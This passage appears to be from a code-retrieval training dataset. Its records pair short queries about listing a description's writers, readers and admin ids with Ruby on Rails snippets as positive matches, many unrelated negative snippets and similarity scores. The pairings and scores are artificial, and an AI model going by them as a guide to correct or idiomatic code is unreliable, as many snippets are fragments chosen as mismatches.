r.omnipotent? }\n false\n end", "def admin_list\n @products = Product.find(:all)\n end", "def show_admins\r\n @admins_pages, @admins = paginate(:users, \r\n :conditions => ['level = 2'],\r\n :order => 'username') \r\n end", "def admin_edited_manuscript_list\n %w( tt_edited_manuscript_list@booktrope.com )\n end", "def index\n @collection_center_admins = CollectionCenterAdmin.all\n end", "def index\n @adminstrations = Adminstration.all\n end", "def index\n @admin_editorials = Admin::Editorial.all\n end", "def index\n @admin_additional_descriptions = AdditionalDescription.all\n end", "def info_for_forms\n #Info for page\n #Saving info if we are SA\n @is_super_admin = is_super?\n #Array of admins for SA\n @admins = User.admins_list(with_mentors: false) if @is_super_admin\n end", "def index\n @admins = Admin.where(invitation_token: nil)\n end", "def show\n @admin_keywords = Admin.where('user_id' => current_user.id)\n end" ]
[ "0.7602488", "0.74937457", "0.71806026", "0.7174691", "0.717119", "0.71450937", "0.7066944", "0.70572853", "0.6822781", "0.6813221", "0.6791414", "0.6755497", "0.67502207", "0.67434037", "0.66982454", "0.6695976", "0.66784686", "0.664702", "0.664702", "0.664702", "0.664702", "0.664702", "0.664702", "0.6646668", "0.6646668", "0.6646668", "0.66001534", "0.6570561", "0.65668285", "0.65553665", "0.65006524", "0.64872515", "0.6483627", "0.64690816", "0.6467074", "0.64392704", "0.64321804", "0.64321804", "0.6430785", "0.64192736", "0.63946724", "0.63840914", "0.6372492", "0.6359886", "0.63555515", "0.6355458", "0.6342241", "0.6331532", "0.63064235", "0.6299588", "0.62881666", "0.62872416", "0.6286827", "0.6281126", "0.6271018", "0.62705714", "0.62583995", "0.62556833", "0.6253908", "0.6248641", "0.6214883", "0.6188019", "0.6183146", "0.6179176", "0.6164498", "0.6158407", "0.61459947", "0.6145663", "0.61436516", "0.61385", "0.61263156", "0.6123816", "0.6110815", "0.6096715", "0.6090572", "0.6075455", "0.6064434", "0.6060338", "0.6051993", "0.60474455", "0.60354793", "0.6031454", "0.6029499", "0.6028714", "0.6023355", "0.60229397", "0.6011592", "0.6011592", "0.60051113", "0.60049844", "0.59856373", "0.5977653", "0.59598005", "0.59579414", "0.59535295", "0.5941986", "0.5941122", "0.5939574", "0.5936683", "0.5936598" ]
0.6178298
64
List of all the writers for this description
def writers group_users(writers_join_table) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def writers\n find_related_frbr_objects( :is_written_by, :which_roles?) \n end", "def writers\n parse_crew('Writing Credits')\n end", "def index\n @writers = Writer.all\n end", "def writers\n raise Locomotive::Mounter::ImplementationIsMissingException.new(\"[#{self.kind}] Writers are missing\")\n end", "def index\n @expert_writers = ExpertWriter.all\n end", "def writers\n [SiteWriter, SnippetsWriter, ContentTypesWriter, ContentEntriesWriter, TranslationsWriter, PagesWriter, ThemeAssetsWriter].tap do |_writers|\n # modify the list depending on the parameters\n if self.parameters\n if self.parameters[:data] == false && !(self.parameters[:only].try(:include?, 'content_entries'))\n _writers.delete(ContentEntriesWriter)\n end\n\n if self.parameters[:translations] == false && !(self.parameters[:only].try(:include?, 'translations'))\n _writers.delete(TranslationsWriter)\n end\n end\n end\n end", "def writers\n to_array search_by_text 'сценарий'\n end", "def watchers\n attributes.fetch(:watchers)\n end", "def index\n @letter_writers = LetterWriter.all\n end", "def info\n @listers.collect {|l| [l.name, l.description] }\n end", "def contributors\n []\n end", "def contributors\n return @contributors\n end", "def writer_ids\n group_user_ids(writers_join_table)\n end", "def visible_to\n\t\treaders.map(&:name).join(', ')\n\tend", "def index\n @writings = Writing.all\n end", "def number_of_writers(login=nil)\n count_by_frbr(login, :is_written_by, :how_many_roles?) \n end", "def contributors\n @descriptive_detail.contributors\n end", "def all_publishers\n result = recorders+publishers\n result.flatten.uniq.sort_by{|role|[role.contributor_names]}\n end", "def test_it_can_get_details_of_available_writers\n VCR.insert_cassette 'writers'\n writers = @api.writers\n\n assert_kind_of Array, writers\n assert_equal 2, writers.size\n\n assert_kind_of Hash, writers.first\n assert_kind_of Hash, writers.last\n\n assert_equal \"sys.c-wr-gooddata-writer1\", writers.first[\"bucket\"]\n assert_equal \"sys.c-wr-gooddata-writer2\", writers.last[\"bucket\"]\n end", "def publisher_names_and_roles\n publishers = []\n for i in 0..(self.publishers.count-1)\n publisher = {\n name: self.publishers(i).name.first,\n role: self.publishers(i).role.first\n }\n publishers << publisher\n end\n publishers\n end", "def watched_by(watcher = nil)\n return @watched_by if watcher.nil?\n\n @watched_by ||= []\n @watched_by << watcher\n end", "def subscribers\n store[name].map { |r| r.contents } \n end", "def printers\n return @printers\n end", "def list_reserved_rooms\n unless @rooms.empty?\n @rooms.each do |key, room|\n puts room.report_lister\n end\n end\n end", "def write_all\n only = parameters[:only].try(:map) do |name|\n \"#{name}_writer\".camelize\n end.try(:insert, 0, 'SiteWriter')\n\n self.writers.each do |klass|\n next if only && !only.include?(klass.name.demodulize)\n writer = klass.new(self.mounting_point, self)\n writer.prepare\n writer.write\n end\n end", "def get_admins\n self._get_reviewers(\"admin\")\n end", "def list\n puts File.basename(@file_path, '.json') + ':'\n\n builders = @template.builders_hash\n if builders.empty?\n puts '- No builders found'.indent.to_red\n else\n builders.each_pair do |name, type|\n puts \"- #{name} (type: #{type})\".indent\n end\n end\n end", "def maintainers\n []\n end", "def output_descriptions\n @outputs.collect{|output| output.device_info.description }\n end", "def editors\n editor_collaborators = collaborators.where(role: \"editor\").all\n if editor_collaborators\n editor_collaborators.map {|e| e.user}\n else\n []\n end\n end", "def get_list_defender_sciences\n unit_report = []\n unit_report << \"Auflistung der Forschung: \"\n @defender.science_instances.each do |science|\n unit_report << science.science.name\n unit_report << science.level\n end\n return unit_report\n end", "def responder_names\n responders.pluck(:name)\n end", "def reporters\n raw_data['reporters']\n end", "def generator_descriptions\n lengths = []\n\n generators = RDoc::RDoc::GENERATORS.map do |name, generator|\n lengths << name.length\n\n description = generator::DESCRIPTION if\n generator.const_defined? :DESCRIPTION\n\n [name, description]\n end\n\n longest = lengths.max\n\n generators.sort.map do |name, description|\n if description then\n \" %-*s - %s\" % [longest, name, description]\n else\n \" #{name}\"\n end\n end.join \"\\n\"\n end", "def list_watchers(user, repo_name)\n @connection.get(\"/repos/#{user}/#{repo_name}/watchers\").map do |user_data|\n GitHubApi::User.new(@connection.users, user_data)\n end\n end", "def writer\n @writer\n end", "def dor_read_rights\n public_xml_doc.xpath('//rightsMetadata/access[@type=\"read\"]/machine/*').map(&:name)\n end", "def writers_hash\n search_by_text_hash 'сценарий'\n end", "def descriptions\n []\n end", "def users\n watches_unique_by_user.map(&:user)\n end", "def rating_descriptions\n raters.map { |rater| rater.description }\n end", "def exporter_names\n exporters.map{|e| e.const_name }\n end", "def owners\n self.authors.collect(&:user)\n end", "def by_editor\n user = find_obj_or_goto_index(\n model: User, obj_id: params[:by_editor].to_s,\n index_path: name_descriptions_path\n )\n return unless user\n\n query = create_query(:NameDescription, :by_editor, user: user)\n show_selected_name_descriptions(query)\n end", "def index\n @admin_descriptions = Admin::Description.all\n end", "def all_supporters\n \n if event_type.event_type_desc.match('Opportunity')\n\t # WR#50294 - DISTINCTIONS rev 300308.doc\n\t result = distinctions_offered.map{|d| d.composite_supporters}\n else \n result = funders+managers+presenters\n end \n\t \n\t result.flatten.uniq.sort_by{|role|[role.contributor_names]}\n end", "def composers\n to_array search_by_itemprop 'musicBy'\n end", "def public_writer?\n @writer_visibility == :public\n end", "def get_users\n\n headers = {:x_storageapi_token => @kbc_api_token, :accept => :json, :content_type => :json}\n\n response = RestClient.get \"#{@api_endpoint}/users?writerId=#{@writer_id}\", headers\n\n return response\n\n end", "def list\n ::Guard::DslDescriber.list(options)\n end", "def publishers(location = @location)\n raise ArgumentError, \"No location specified\" unless location\n\n url = build_url(location, 'publishers')\n\n JSON.parse(rest_get(url)).map{ |element| element['name'] }\n end", "def publishers\n editions.map {|edition| edition.publisher}.uniq\n end", "def publishers\n respond_to?(:publisher) ? topic : []\n end", "def self_auditor_list\n @self_auditor_list ||= Role.active_designers\n end", "def attr_internal_writer(*attrs)\n attrs.each {|attr_name| attr_internal_define(attr_name, :writer)}\n end", "def writer?(user)\n public_write || permitted?(writers_join_table, user)\n end", "def watchers\n @path_watcher_map.values\n end", "def get_drivers\n drivers\n end", "def contributors\n (@item.dc_contributors.empty?) ? [] : @item.dc_contributors.reject{|au| au == '' || au.match(/^\\s+$/)}\n end", "def find_widgets widgets_description\n @widgets.find_all widgets_description\n end", "def get_reporters(audit)\n if audit.nil?\n Chef::Log.warn(\"node ['audit'] is not defined\")\n return []\n end\n if audit['collector']\n Chef::Log.warn(\"node ['audit']['collector'] is deprecated and will be removed from the next major version of the cookbook. Please use node ['audit']['reporter']\")\n return handle_reporters(audit['collector'])\n end\n handle_reporters(audit['reporter'])\n end", "def managers\n response = request(:get, \"/manager\")\n response_to_array(response, \"managers\", KontaktIo::Resource::Manager)\n end", "def consumers\n self.handle.consumers\n end", "def list_name_descriptions # :nologin:\n query = create_query(:NameDescription, :all, :by => :name)\n show_selected_name_descriptions(query)\n end", "def public_write_was\n writer_group_ids == [UserGroup.all_users.id]\n end", "def fetch_watchers\n watcher_users.to_a\n end", "def find_writer_for_content_type(content_type)\n ct, *params = content_type.split(';').map(&:strip)\n accept_params = params.inject({}) do |memo, pv|\n p, v = pv.split('=').map(&:strip)\n memo.merge(p.downcase.to_sym => v.sub(/^[\"']?([^\"']*)[\"']?$/, '\\1'))\n end\n formats = ::RDF::Format.each(content_type: ct, has_writer: true).to_a.reverse\n formats.each do |format|\n yield format.writer, (ct || format.content_type.first), accept_params if\n format.writer.accept?(accept_params)\n end\n end", "def list_manufacturers\n\t@manufacturers.each do |manufacturer|\n\t\t\tputs \"#{@manufacturers.index(manufacturer)}: #{manufacturer}\"\n\tend\nend", "def watchers(options = {})\n get_path(\n path_to_watchers,\n options,\n get_parser(:collection, Tinybucket::Model::Profile)\n )\n end", "def writers_join_table\n self.class.writers_join_table\n end", "def excluding_viewers_list\n names_string(self.viewers)\n end", "def email_list\n self.readers.map do |reader_instance|\n reader_instance.email\n end.join(\";\")\n end", "def widgets\n @widgets\n end", "def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_object_value(\"categoryDescriptions\", @category_descriptions)\n writer.write_object_value(\"sharedWith\", @shared_with)\n end", "def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_collection_of_object_values(\"metricDevices\", @metric_devices)\n end", "def printers=(value)\n @printers = value\n end", "def writer_class\n writer_class_name.constantize\n end", "def drivers()\n self.rides().map { | ride | ride.driver }\n end", "def resources\n return @resources\n end", "def resources\n return @resources\n end", "def resources\n return @resources\n end", "def publishers\n publishers = []\n uris = metadata[dataset_uri][dct.publisher.to_s]\n uris.each do |uri|\n p = metadata[uri]\n publishers << Agent.new(:name => p[RDF::FOAF.name.to_s], :homepage => p[RDF::FOAF.homepage.to_s], :mbox => p[RDF::FOAF.mbox.to_s])\n end\n return publishers\n rescue\n []\n end", "def reports\n user_reports.concat(mod_reports)\n end", "def admins\n [self.user.email, self.study_shares.can_edit, User.where(admin: true).pluck(:email)].flatten.uniq\n end", "def index\n @readers = Reader.all\n end", "def get_drivers\n return return_all_drivers\n end", "def publishers_coll\n settings.db['publishers']\n end", "def editors\n\t\teditors = [self.user]\n\t\teditors\n\tend", "def devices\n @devices\n end", "def admins\n contributors.where(admin: true)\n end", "def jokers\n @jokers || []\n end", "def widgets\n names = []\n if FileTest.directory?(@path)\n FileUtils.cd(@path) { names += Dir[\"*\"] }\n end\n if FileTest.directory?(@system_path)\n FileUtils.cd(@system_path) { names += Dir[\"*\"] }\n end\n names.uniq!\n names\n end", "def owners_contents\n files = applicable_owners_files\n\n return [] if files.nil?\n\n puts \"f: #{files.inspect}\"\n files.map { |f| f[:owners] }\n end", "def listeners\n self.watchers.collect(&:listening_user) \n end", "def devices\n return @devices\n end", "def list_all\n query = create_query(:NameDescription, :all, by: default_sort_order)\n show_selected_name_descriptions(query)\n end", "def name_descriptions_by_editor # :nologin: :norobots:\n if user = params[:id] ? find_or_goto_index(User, params[:id].to_s) : @user\n query = create_query(:NameDescription, :by_editor, :user => user)\n show_selected_name_descriptions(query)\n end\n end", "def digesters\n @digesters\n end", "def index\n @watchers = Watcher.all.order(:name)\n end", "def producers\n to_array search_by_itemprop 'producer'\n end" ]
[ "0.7003905", "0.6592244", "0.65907246", "0.64788765", "0.61435896", "0.59721965", "0.588143", "0.56146824", "0.5484628", "0.541108", "0.54029256", "0.52718836", "0.52584815", "0.52571106", "0.5252471", "0.5190333", "0.5177292", "0.51747453", "0.5127192", "0.5100604", "0.5097179", "0.509689", "0.5079785", "0.5048463", "0.50420386", "0.50404084", "0.50159", "0.5010776", "0.49816784", "0.49765822", "0.49649328", "0.49623433", "0.4959261", "0.4929174", "0.4925564", "0.4891608", "0.48843214", "0.48800457", "0.4878624", "0.48496848", "0.48421267", "0.48019165", "0.47972405", "0.4784178", "0.47836247", "0.47718197", "0.47701514", "0.4752782", "0.4749191", "0.4726704", "0.47234124", "0.47146118", "0.47075316", "0.4706338", "0.47059998", "0.4701845", "0.46947375", "0.4683391", "0.46821335", "0.4677085", "0.46611798", "0.46514148", "0.46402755", "0.4639069", "0.46330076", "0.4629916", "0.46294", "0.4609933", "0.45979634", "0.4597497", "0.45968318", "0.45945814", "0.45898408", "0.45865303", "0.45779577", "0.45761734", "0.4572348", "0.45713404", "0.45678207", "0.45678207", "0.45678207", "0.4562949", "0.4562672", "0.45621577", "0.45593014", "0.45478404", "0.45411626", "0.45350522", "0.4531579", "0.45277584", "0.45242056", "0.4522726", "0.4522157", "0.45191363", "0.45157045", "0.45125926", "0.45102546", "0.45073584", "0.44990876", "0.4494918" ]
0.61688614
4
List of all the readers for this description
def readers group_users(readers_join_table) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @readers = Reader.all\n end", "def readers\n raise Locomotive::Mounter::ImplementationIsMissingException.new('readers are missing')\n end", "def info\n @listers.collect {|l| [l.name, l.description] }\n end", "def all_readings\n @readings.map do |reading|\n [reading] + reading.role_refs.map{|rr| rr.objectification_join}\n end.flatten.compact\n end", "def visible_to\n\t\treaders.map(&:name).join(', ')\n\tend", "def dor_read_rights\n public_xml_doc.xpath('//rightsMetadata/access[@type=\"read\"]/machine/*').map(&:name)\n end", "def table_readers\n data_session.table_readers\n end", "def email_list\n self.readers.map do |reader_instance|\n reader_instance.email\n end.join(\";\")\n end", "def rating_descriptions\n raters.map { |rater| rater.description }\n end", "def poll_readers\n begin\n readers = @pcsc_context.list_readers(nil).map { |name| { :name => name }}\n rescue\n # Linux PC/SC raises an exception if no readers are connected.\n readers = []\n end \n return readers if readers.empty?\n \n reader_states = Smartcard::PCSC::ReaderStates.new readers.length\n readers.each_with_index do |reader, i|\n reader_states.set_reader_name_of!(i, reader[:name])\n reader_states.set_current_state_of!(i, Smartcard::PCSC::STATE_UNAWARE) \n end \n @pcsc_context.get_status_change reader_states, 100\n \n readers.each_with_index do |reader, i|\n reader[:atr] = reader_states.atr_of i\n # current_state_of is buggy on pcsclite, using the ATR for card detection.\n if reader[:atr].length == 0\n reader[:card] = false\n reader[:atr] = nil\n else\n reader[:card] = true\n end\n end\n \n readers\n end", "def top_readers\n readers_with_duplicates = []\n self.articles.each { |article| readers_with_duplicates << article.readers }\n\n readers_with_duplicates.flatten!\n readers = readers_with_duplicates.uniq\n frequency = Hash.new(0)\n readers_with_duplicates.each { |r| frequency[r] += 1 }\n array = frequency.sort_by { |key, value| value }\n return [array[-1], array[-2], array[-3]]\n\n end", "def index\n @browser_readers = BrowserReader.all\n end", "def authors\n read_property 'Authors'\n end", "def riders\n result = []\n self.books.each do |book|\n book.plans.each do |plan|\n plan.riders.each do |rider|\n result << rider\n end\n end\n end\n\n result\n end", "def get_ead_creators\n get_ead_creators = NAME_FIELDS.map {|field| search(\"//origination[@label='creator']/#{field}\") }\n # Flatten nested arrays into one top level array\n get_ead_creators = get_ead_creators.flatten\n # Map to the text value and remove nils\n get_ead_creators = get_ead_creators.map(&:text).compact\n return get_ead_creators\n end", "def collocutors\n comments.map(&:reader).uniq\n end", "def reviewers\n return @reviewers\n end", "def reviewer_list\n\n reviewers = []\n design_review_results =\n DesignReviewResult.find_all_by_design_review_id(self.id)\n\n design_review_results.each do |dr_result|\n reviewer = User.find(dr_result.reviewer_id)\n reviewers << reviewer.email if reviewer.active?\n end\n\n return reviewers.uniq\n\n end", "def viewers\n self.ratings.collect do |rating|\n rating.viewer\n end\n end", "def contributors\n @descriptive_detail.contributors\n end", "def contributors\n return @contributors\n end", "def reviewer_list\n\n reviewers = []\n design_review_results =\n DesignReviewResult.find_all_by_design_review_id(self.id)\n\n design_review_results.each do |dr_result|\n reviewer = User.find(dr_result.reviewer_id)\n reviewers << reviewer.email if reviewer.active?\n end\n \n return reviewers.uniq\n\n end", "def recipes\n # Loop through RecipeCard\n #Find cards for this user\n #Gather recipes on those cards\n self.recipe_cards.map do |recipecard|\n recipecard.recipe\n end\n end", "def recipes\n self.recipe_cards.map do |recipe_card|\n recipe_card.recipe\n end\n end", "def get_reviewers\n self._get_reviewers\n end", "def reader_ids\n group_user_ids(readers_join_table)\n end", "def authors\n @authors\n end", "def descriptions\n return xpath_all(doc, './/Identify/description')\n end", "def index\n @redescriptions = Redescription.all\n end", "def books\n self.book_authors.map {|book_author| book_author.book}\n end", "def items\n authors\n end", "def owners\n self.authors.collect(&:user)\n end", "def users\n my_recipe_cards.map do |recipecard|\n recipecard.user\n end\n end", "def users\n self.recipe_cards.map {|recipe_card| recipe_card.user}\n end", "def users\n recipe_cards.map do |r|\n r.user\n end\n end", "def authors\n return [] if @feed.channel.managingEditor.nil? && @feed.channel.dc_publishers.empty?\n [@feed.channel.managingEditor, ((@feed.channel.dc_publishers.empty?) ? nil : @feed.channel.dc_publishers.collect{|dcp| dcp.content})].flatten.uniq.compact.reject{|au| au == '' || au.match(/^\\s+$/)}\n end", "def authors\n if self.channel.generator == 'Twitter'\n return [@item.title.split(':')[0]]\n end\n [@item.author, ((@item.dc_creators.empty?) ? nil : @item.dc_creators.collect{|c| c.content})].flatten.uniq.compact.reject{|au| au == '' || au.match(/^\\s+$/)}\n end", "def top_readers\n hash = @orders.inject(Hash.new(0)) do |count, order|\n count[order.reader.name] += 1\n count\n end\n top = hash.max_by { |key, value| value }.first\n puts \"Active reader is: #{top}\"\n end", "def recipes\n self.recipe_cards.map {|recipecard| recipecard.recipe}\n end", "def list \n @@Ordenadores\n end", "def editors\n editor_collaborators = collaborators.where(role: \"editor\").all\n if editor_collaborators\n editor_collaborators.map {|e| e.user}\n else\n []\n end\n end", "def reader_name\n self[:reader_name].read_string\n end", "def contributors\n []\n end", "def clients\n trainers.map {|trainer| trainer.clients}.flatten\n end", "def recipes\n my_recipe_cards = RecipeCard.all.select do |recipe_card|\n recipe_card.user == self\n end\n my_recipe_cards.map do |recipe_card|\n recipe_card.recipe\n end\n end", "def writers\n find_related_frbr_objects( :is_written_by, :which_roles?) \n end", "def descriptions\n []\n end", "def library_reviewers\n Role.find_by(name: 'library_reviewers').users.to_a\n end", "def recipes\n recipe_cards.map { |c| c.recipe }\n end", "def find_creators\n ret = [@dmp.primary_contact]\n @dmp.contributors_data_management_plans.each do |cdmp|\n ret << cdmp.contributor if cdmp.role == 'http://credit.niso.org/contributor-roles/writing_original_draft'\n end\n ret.flatten\n end", "def reviewed_books\n self.reviews.map{|r| r.book}\n end", "def index\n @recitators = Recitator.all\n end", "def genres\n return @metadata[:genres]\n end", "def list()\n data = info()\n ret = []\n data[:aliases].each do |rid, aliases|\n aliases.each do |al|\n ret << {\n :alias => al,\n :rid => rid\n }\n end\n end\n\n ret\n end", "def recipes\n recipe_cards.map {|recipe_card| recipe_card.recipe}\n end", "def authors\n bib_authors || get_item_data_by_name('Author')\n end", "def num_readers_to_s(current_user = nil)\n r = []\n s = \"\"\n if current_user\n \t\tself.readers_who_follow(current_user).each do |reader|\n \t\t\tr << reader.login\n \t\tend\n\n\t\t r.each_with_index do |reader, i|\n \t\t if i > 0 and i < r.length - 1\n \t\t s += ', '\n \t elsif i > 0 and r.length > 1\n \t s += ' and '\n \t end\n \t\t s += reader\n \t\t if i == r.length - 1\n\t s += \" read this\"\n\t\t end\n \t end\n end\n\t s\n end", "def announcements_read\n @attributes[:announcements_read]\n end", "def raters\n self.ratings.includes(:rater).all.collect{|r| r.rater}\n end", "def index\n @readers = TextFilter.new(Reader.all, filter_params).call\n end", "def producers\n to_array search_by_itemprop 'producer'\n end", "def users\n recipe_rc = RecipeCard.all.select {|rc| rc.recipe == self}\n # recipe_rc.map {|rc| rc.user}\n end", "def printers\n return @printers\n end", "def rubies\n @parent.list_strings\n end", "def authors\n author\n end", "def authors\n document.search(\"[@id='bookAuthors']/[@itemprop='author']/a/span\").map { |elem| elem.innerHTML.strip } rescue []\n end", "def documents\n authorizations.map(&:document)\n end", "def scrapers\n @@scrapers\n end", "def recipes\n\t\tRecipeCard.all.select { |recipe_card| recipe_card.user == self }\n\tend", "def list\n return @enumerable\n end", "def all_publishers\n result = recorders+publishers\n result.flatten.uniq.sort_by{|role|[role.contributor_names]}\n end", "def author_names\n\t\treturn self.authors.map do |author|\n\t\t\tauthor[ /^(.*?) </, 1 ]\n\t\tend\n\tend", "def notebooks_readable_by(user, use_admin=false)\n Notebook.readable_by(user, use_admin).where(owner: self)\n end", "def notebooks_readable_by(user, use_admin=false)\n Notebook.readable_by(user, use_admin).where(owner: self)\n end", "def authors()\n authors_or_editors(@text[:author].to_names) if @text[:author]\n end", "def reviewers\n reviews.map { |r|\n r.user }.uniq\n end", "def users\n RecipeCard.all.select do |card|\n card.recipe == self\n end.map do |card|\n card.user\n end\n end", "def collection_creators\n cres = data.xpath(\"#{data_root}/context/collectionInfo/collection-creators/*\")\n cres.map(&:content).map(&:strip)\n end", "def get_recipe_names\n users_recipes.map {|ur| ur.recipe.name}\n end", "def get_admins\n self._get_reviewers(\"admin\")\n end", "def viewers #returns people\n people = Rating.all.map do |rating|\n if rating.title == self.title\n rating.viewer\n end\n end\n people.map do |peo|\n peo.full_name\n end.uniq\n end", "def owners_contents\n files = applicable_owners_files\n\n return [] if files.nil?\n\n puts \"f: #{files.inspect}\"\n files.map { |f| f[:owners] }\n end", "def by_editor\n user = find_obj_or_goto_index(\n model: User, obj_id: params[:by_editor].to_s,\n index_path: name_descriptions_path\n )\n return unless user\n\n query = create_query(:NameDescription, :by_editor, user: user)\n show_selected_name_descriptions(query)\n end", "def return_descriptions_array(doc)\n descriptions = doc.css(\".search-content .field-item.even\")\n recipe_descriptions = []\n descriptions.each do |element|\n recipe_descriptions << element.text\n end\n return recipe_descriptions\n end", "def index\n @rubidevices = Rubidevice.accessible_by(current_ability)\n end", "def read_groups\n search_by_type_and_mode(:group, ::ACL.Read).map(&:agent_name)\n end", "def authors_list\n self.authors.split(\"\\n\").delete_if { |a| a.blank? }.map { |a| a.strip }\n end", "def list_books\n @books.each { |book| puts \"#{book.title} - #{book.author} : #{book.status}\"}\n end", "def recipes\n RecipeCard.all.select do |recipe_card|\n recipe_card.user == self\n # RecipeCard.name\n end.map do |recipe_card|\n recipe_card.recipe\n end\n end", "def read_list\n @db.execute('SELECT serial,reason,revoked_at from revoked_serials') do |row|\n serial = row[0].to_i\n reason = row[1]\n revoke_time = row[2]\n yield serial, reason, revoke_time\n end\n nil\n end", "def drivers()\n self.rides().map { | ride | ride.driver }\n end", "def readied_cards\n if readyable?\n cards.readied\n else\n cards\n end\n end", "def list\n @parent.gemset_list\n end", "def recipes\n recipe_card_array = RecipeCard.all.select do |recipe_card|\n recipe_card.user == self\n end\n\n recipe_card_array.map do |recipe_card|\n recipe_card.recipe\n end\n end", "def list_books\n @books.each do |book|\n puts \"#{book.title} by #{book.author}: #{book.status}\"\n end\n end", "def tags\n @tags ||= begin\n resp = @client.access_token.get('/reader/api/0/tag/list?output=json')\n raise \"unable to retrieve the list of tags for user \\\"#{user_id}\\\": #{resp.inspect}\" unless resp.code_type == Net::HTTPOK\n JSON.parse(resp.body)['tags'].collect do |hash|\n Google::Reader::Tag.new(hash.merge({:client => @client}))\n end\n end\n end", "def list_scans\n Item.scoped.each {|i|\n puts i.name\n i.scans.each {|x| puts \"\\t#{x}\"}\n puts \"\"\n }\n end", "def list_scans\n Item.scoped.each {|i|\n puts i.name\n i.scans.each {|x| puts \"\\t#{x}\"}\n puts \"\"\n }\n end", "def viewers\n self.queue_items.map {|item| item.viewer}\n end", "def borrowed_books_list\n @borrowed_books.each do |book|\n puts \"#{book.title} by #{book.author}\"\n end\n end" ]
[ "0.6529739", "0.6487218", "0.6049241", "0.6024158", "0.5960538", "0.5886651", "0.58518916", "0.5730606", "0.56995493", "0.5600725", "0.5538078", "0.5525106", "0.5490996", "0.5489933", "0.5425394", "0.53876406", "0.53449893", "0.5259389", "0.522137", "0.52054566", "0.5190789", "0.5185038", "0.51849806", "0.5176718", "0.51760405", "0.51699835", "0.5160492", "0.51483965", "0.5143479", "0.5139072", "0.51346594", "0.51323104", "0.510739", "0.5107016", "0.5100266", "0.5096957", "0.5096691", "0.5091887", "0.5024163", "0.5018894", "0.5018119", "0.5011929", "0.5009782", "0.50058186", "0.49973282", "0.497472", "0.4968343", "0.49566826", "0.4955526", "0.4946722", "0.494492", "0.49413788", "0.49366203", "0.49348456", "0.49305904", "0.49216002", "0.49211714", "0.49163115", "0.49131924", "0.4906936", "0.4902646", "0.48975548", "0.48966172", "0.48848394", "0.48836944", "0.48792133", "0.48744845", "0.48679826", "0.48669773", "0.48652086", "0.4843897", "0.48435757", "0.48410696", "0.48410696", "0.48398152", "0.48394296", "0.4832506", "0.48317903", "0.48306075", "0.4825313", "0.48233432", "0.48131198", "0.4812442", "0.48084807", "0.48028377", "0.47992256", "0.47972256", "0.47944844", "0.47875544", "0.47856858", "0.4781391", "0.47713128", "0.4771207", "0.47700083", "0.47677898", "0.4756838", "0.47565034", "0.47565034", "0.4751222", "0.47506958" ]
0.5962081
4
List of all the admins for this description, as ids.
def admin_ids group_user_ids(admins_join_table) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def admin_ids\n @attributes[:admin_ids]\n end", "def admin_ids\n ids = self.retrieve_elements(\"ADMINS/ID\")\n\n return [] if ids.nil?\n\n return ids.collect! {|x| x.to_i}\n end", "def admins\n app_users.select(&:admin?)\n end", "def get_admins\n self._get_reviewers(\"admin\")\n end", "def admins\n [self.user.email, self.user_annotation_shares.can_edit, User.where(admin: true).pluck(:email)].flatten.uniq\n end", "def get_admins\n\t\t@sm = Member.where(society_id: self.id)\n\t\t@admins = []\n\t\t@sm.each do |m|\n\t\t #if is an admin, add to array\n\t\t if m.admin then @admins << User.find_by_id(m.user_id) end\n\t\tend\n\t\treturn @admins\n end", "def other_administrators\n Administrator.where.not(['id = ? or is_super = ?',self.id, true]).order(:organisation).map {\n |t| ['%{org}: %{lname} %{name}'%{org: t.organisation, lname: t.info.last_name, name: t.info.name},t.id]\n }\n end", "def admins\n User.where(id: memberships.admin.pluck(:user_id)).all\n end", "def admins\n [self.user.email, self.study_shares.can_edit, User.where(admin: true).pluck(:email)].flatten.uniq\n end", "def list_admins\n service_response = ManagerManagement::Team::ListAdmins.new(params).perform\n return render_api_response(service_response)\n end", "def get_admins_by_id\n return filter_by_id(get_admins)\n end", "def list_identities_admin(opts = {})\n data, _status_code, _headers = list_identities_admin_with_http_info(opts)\n data\n end", "def admins\n # Use the where clause to return users who have admin column set to true (false by default)\n board_members.where(is_admin: true)\n end", "def admin_group_ids\n @attributes[:admin_group_ids]\n end", "def admins\n ::Syncano::QueryBuilder.new(self, ::Syncano::Resources::Admin)\n end", "def administrators\n adminrole = Role.find(:first, :conditions => \"#{self.class.primary_key}=#{self.id} AND name='Administrator'\")\n adminrole ?\n adminrole.users.select{|u| u.company==self} : nil\n end", "def active_admins\n admins.select { |admin| circle.has_active_user?(admin) }\n end", "def active_admins\n admins.select {|admin| circle.has_active_user?(admin) }\n end", "def recipients\n User.admins\n end", "def index\n @user_admins = UserAdmin.all\n end", "def index\n @admins = Admin.all\n end", "def index\n @admins = Admin.all\n end", "def index\n @admins = Admin.all\n end", "def index\n @admins = Admin.all\n end", "def index\n @admins = Admin.all\n end", "def index\n @admins = Admin.all\n end", "def fetch_admins\n @admins = Admin.get_all_admins_from_memcache(@client_id)\n\n @admins.each do |admin|\n if admin.role == GlobalConstant::Admin.super_admin_role\n @super_admins[admin.id] = admin\n else\n @normal_admins[admin.id] = admin\n end\n end\n\n end", "def index\n @admin_configuration_identifiers = Admin::ConfigurationIdentifier.all\n end", "def admins( params={} )\n admins = get_connections(\"admins\", params)\n return map_connections admins, :to => Facebook::Graph::Admin\n end", "def listAdmins\n\n @admins=Admin.order(\"admins.created_at DESC\")\n end", "def index\n administrators = Administrator.all\n admin_list = []\n administrators.each do |admin|\n admin_info = admin.attributes\n admin_info[:user] = User.find(admin[\"user_id\"])\n admin_info[:geofence] = Geofence.find(admin[\"geofence_id\"])\n admin_list << admin_info\n end\n @administrators = admin_list\n end", "def admins\n contributors.where(admin: true)\n end", "def admin_id\n @admin.id\n end", "def list\n @admins = Admin.where(deleted_at: nil).order('id DESC').page(params[:page]).per(15)\n end", "def index\n @administrators = Administrator.all\n end", "def index\n @administrators = Administrator.all\n end", "def index\n @administrators = Administrator.all\n end", "def super_admin\n @admin_region_ids = current_volunteer.assignments.collect{ |a| a.admin ? a.region.id : nil }.compact\n end", "def index\n @admins = Admin.all\n\n\n\n\n\n end", "def administrators\n members.where(memberships: { role: 'admin' })\n end", "def index\n @saas_admins = Admin.all\n 